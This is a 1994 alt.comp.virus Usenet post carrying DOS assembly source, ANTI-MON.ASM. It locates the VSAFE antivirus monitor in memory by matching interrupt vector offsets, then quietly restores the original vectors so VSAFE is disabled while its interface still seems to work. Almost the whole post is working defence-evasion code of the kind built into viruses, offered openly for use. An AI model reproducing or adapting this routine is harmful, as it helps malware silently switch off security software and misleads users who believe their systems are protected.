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272 lines
10 KiB
NASM
272 lines
10 KiB
NASM
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994
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Xref: netcom.com alt.comp.virus:507
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Path: netcom.com!ix.netcom.com!netnews
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From: Zeppelin@ix.netcom.com (Mr. G)
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Newsgroups: alt.comp.virus
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Subject: Anti Monitor Virus (ANTI AV TSR)
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Date: 29 Nov 1994 13:05:19 GMT
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Organization: Netcom
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Lines: 256
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Distribution: world
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Message-ID: <3bf8uf$ib9@ixnews1.ix.netcom.com>
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References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
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NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
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;***********************************************************************
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***********************
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;*
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*
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;* FILE: ANTI-MON.ASM (c) 1993
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*
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;* PURPOSE: Detect and remove a TSR anti-viral monitor
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*
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;* AUTHOR: Willoughby DATE: 05/09/93
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*
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;*
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*
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;***********************************************************************
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***********************
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MAIN SEGMENT BYTE
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ASSUME CS:MAIN,DS:MAIN,ES:MAIN
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ORG 100H
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;***********************************************************************
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***********************
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;The purpose of this routine is simply to demonstrate the function of
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the FIND_AV_MON and
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;NEUT_AV_MON routines. It displays a message based upon the results of
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the test for TSR anti-
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;viral monitor interrupt vectors performed by the FIND_AV_MON routine
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and the action taken, if
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;needed, by the NEUT_AV_MON routine.
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START: call FIND_AV_MON ;check for installed
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anti-viral monitors
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jc MP1 ;if carry is set, a
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monitor is present
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mov dx,OFFSET NOT_HERE_MSG ;if not, display
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appropriate message
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jmp MPEX ;during exit
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MP1: cmp WORD PTR [MONITOR_TYPE],0 ;check for type/version
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of monitor present
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mov dx,OFFSET MON0_HERE_MSG
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je MP2 ;if MONITOR_TYPE = 0,
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display v1.0 message
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mov dx,OFFSET MON1_HERE_MSG ;otherwise, display v6.0
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message
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MP2: mov ah,9
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int 21H
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call NEUT_AV_MON ;then restore vectors to
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original values
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mov dx,OFFSET BUT_NOW_MSG ;display monitor removal
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message
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MPEX: mov ah,9
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int 21H
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mov ax,4C00H ;exit program
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int 21H
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NOT_HERE_MSG:
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DB 0DH,0AH,'VSAFE is not present.',0DH,0AH,24H
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MON0_HERE_MSG:
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DB 0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H
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MON1_HERE_MSG:
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DB 0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H
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BUT_NOW_MSG:
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DB 0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H
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;***********************************************************************
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***********************
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;This routine tests for the presence in memory of two versions of VSAFE
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by comparing the
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;offsets of the interrupt vectors stolen during VSAFE's installation
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with known VSAFE interrupt
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;handler offsets. When it finds any three offset values in the system
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interrupt vector table
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;which match the VSAFE offsets for the corresponding interrupt, the
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carry flag is set to
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;indicate the presence of VSAFE in memory to the calling routine. The
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segment in which VSAFE
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;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in
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MONITOR_TYPE for use by
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;the NEUT_AV_MON routine.
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NUM_MONITORS EQU 2 ;# of anti-viral monitor
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types to check for
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NUM_VECTORS EQU 8 ;# of interrupt vector
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table entries to check
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MATCHES_REQ EQU 3 ;# of offset matches
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required for positive ID
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FIND_AV_MON:
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push es
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xor ax,ax
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mov es,ax ;set ES to segment of
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interrupt vector table
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mov cx,NUM_VECTORS ;set loop counter to #
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of vectors to check
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mov si,OFFSET VECTOR_OFFSETS ;point SI to start of
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vector offset string
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FAMLP1: lodsw ;load vector table
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offset of first vector
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mov bx,ax
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mov dx,w[es:bx] ;load offset of vector
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from table
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xor di,di
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FAMLP2: lodsw ;load offset value used
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by anti-viral monitor
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cmp dx,0FFFFH ;test for skip vector
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check value
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je FAMLP3 ;if skip value (FFFFH),
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exit inner loop
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cmp dx,ax ;does vector table value
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match monitor value?
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jne FAMLP3 ;if not,
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jump to end of loop
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inc BYTE PTR [OFFSET TOTAL_MATCHES+di] ;if so,
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increment match counter
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cmp BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ
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;required # of matches found?
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jne FAMLP3 ;if not,
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jump to end of loop
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add bx,2 ;set BX to point at
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vector segment value
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mov ax,WORD PTR [es:bx] ;load anti-viral seg.
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value from vector table
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mov MONITOR_SEGMENT,ax ;store segment value
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mov MONITOR_TYPE,di ;store monitor number
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indicating version/type
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stc ;set carry flag to
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indicate monitor was found
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jmp FAMEX
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FAMLP3: inc di ;increment monitor
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number
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cmp di,NUM_MONITORS ;all monitor values
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checked for this vector?
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jne FAMLP2 ;if not, do it all again
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loop FAMLP1 ;if all vectors not
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checked, loop to check next
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clc ;clear carry flag to
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indicate no monitor found
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FAMEX: pop es
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ret
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MONITOR_SEGMENT DW ? ;storage location for
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monitor segment value
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MONITOR_TYPE DW ? ;ditto for monitor type
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TOTAL_MATCHES: DB NUM_MONITORS DUP ? ;table for
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vector match counts
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VECTOR_OFFSETS:
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DW 004CH,1039H,0352H ;INT 13H, VSAFE1 offset,
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VSAFE6 offset
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DW 0058H,12CDH,05DDH ;INT 16H
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DW 0080H,138CH,06BCH ;INT 20H
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DW 0084H,15F7H,0940H ;INT 21H
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DW 009CH,1887H,0C0CH ;INT 27H
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DW 00BCH,2476H,1440H ;INT 2FH
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DW 0100H,1254H,05CBH ;INT 40H
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DW 0024H,0FFFFH,02AFH ;INT 09H (FFFFH = skip
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vector offset check)
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;***********************************************************************
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***********************
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;This routine restores all but the keyboard interrupt vectors to their
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original values prior
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;to the residency of VSAFE. This is accomplished by moving the
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original, unencrypted (!?)
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;vector values stored within VSAFE to their respective locations in the
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system interrupt vector
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;table. VSAFE is, thereby, completely disabled, but appears to be fully
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functional because its
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;user interface continues to respond correctly to user inputs. This
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routine uses the monitor
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;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE)
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values returned by the
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;FIND_AV_MON routine.
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TABLE_SEGMENT EQU 0 ;interrupt vector table
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segment
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NUM_RESTORE EQU 6 ;number of vectors to
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restore
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NEUT_AV_MON:
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push es
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mov ax,OFFSET MON2_OFFSETS
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sub ax,OFFSET MON1_OFFSETS
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mul WORD PTR [MONITOR_TYPE] ;calc. string offset for
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monitor type/version
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mov si,OFFSET MON1_OFFSETS
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add si,ax ;point to first value in
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desired monitor string
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mov di,OFFSET TABLE_OFFSETS ;ditto for table offset
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string
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mov cx,NUM_RESTORE ;set counter to number
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of vectors to restore
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RESTORE_VECTS:
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mov bx,WORD PTR [si] ;load monitor offset of
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original vector value
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cmp bx,0FFFFH ;test for skip restoral
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value
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je SKIP ;if skip value (FFFFH),
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then jump to loop
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mov es,MONITOR_SEGMENT ;set ES to monitor
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segment
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mov ax,WORD PTR [es:bx] ;load original vector
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offset from monitor
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mov ORIGINAL_OFF,ax ;store in scratch pad
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mov ax,WORD PTR [es:bx+2] ;load original vector
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segment from monitor
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mov ORIGINAL_SEG,ax ;store in scratch pad
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mov bx,WORD PTR [di] ;load corresponding int.
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vector table offset
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mov es,TABLE_SEGMENT ;set ES to int. vector
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table segment
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mov ax,ORIGINAL_OFF ;load original vector
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offset
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mov WORD PTR [es:bx],ax ;store original offset
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in vector table
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mov ax,ORIGINAL_SEG ;load original vector
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segment
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mov WORD PTR [es:bx+2],ax ;store original segment
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in vector table
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SKIP: add si,2 ;point SI to next string
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value
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add di,2 ;ditto for DI
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loop RESTORE_VECTS ;loop to restore next
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vector
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pop es
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ret ;all done, monitor is
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totally neutralized
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ORIGINAL_OFF DW ? ;temp. storage for
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original int. vector offset
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ORIGINAL_SEG DW ? ;ditto for segment
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TABLE_OFFSETS:
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DW 004CH,0080H,0084H,009CH,00BCH,0100H ;offsets to INT
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vector table
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MON1_OFFSETS: ;VSAFE v1.0
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offsets where
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DW 1967H,196FH,1977H,197BH,242AH,197FH ;original
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vectors are stored
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;(FFFFH = skip
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vector restoral)
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MON2_OFFSETS: ;MS-DOS 6.0
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VSAFE offsets where
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DW 0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH ;original
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vectors are stored
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;(FFFFH = skip
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vector restoral)
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MAIN ENDS
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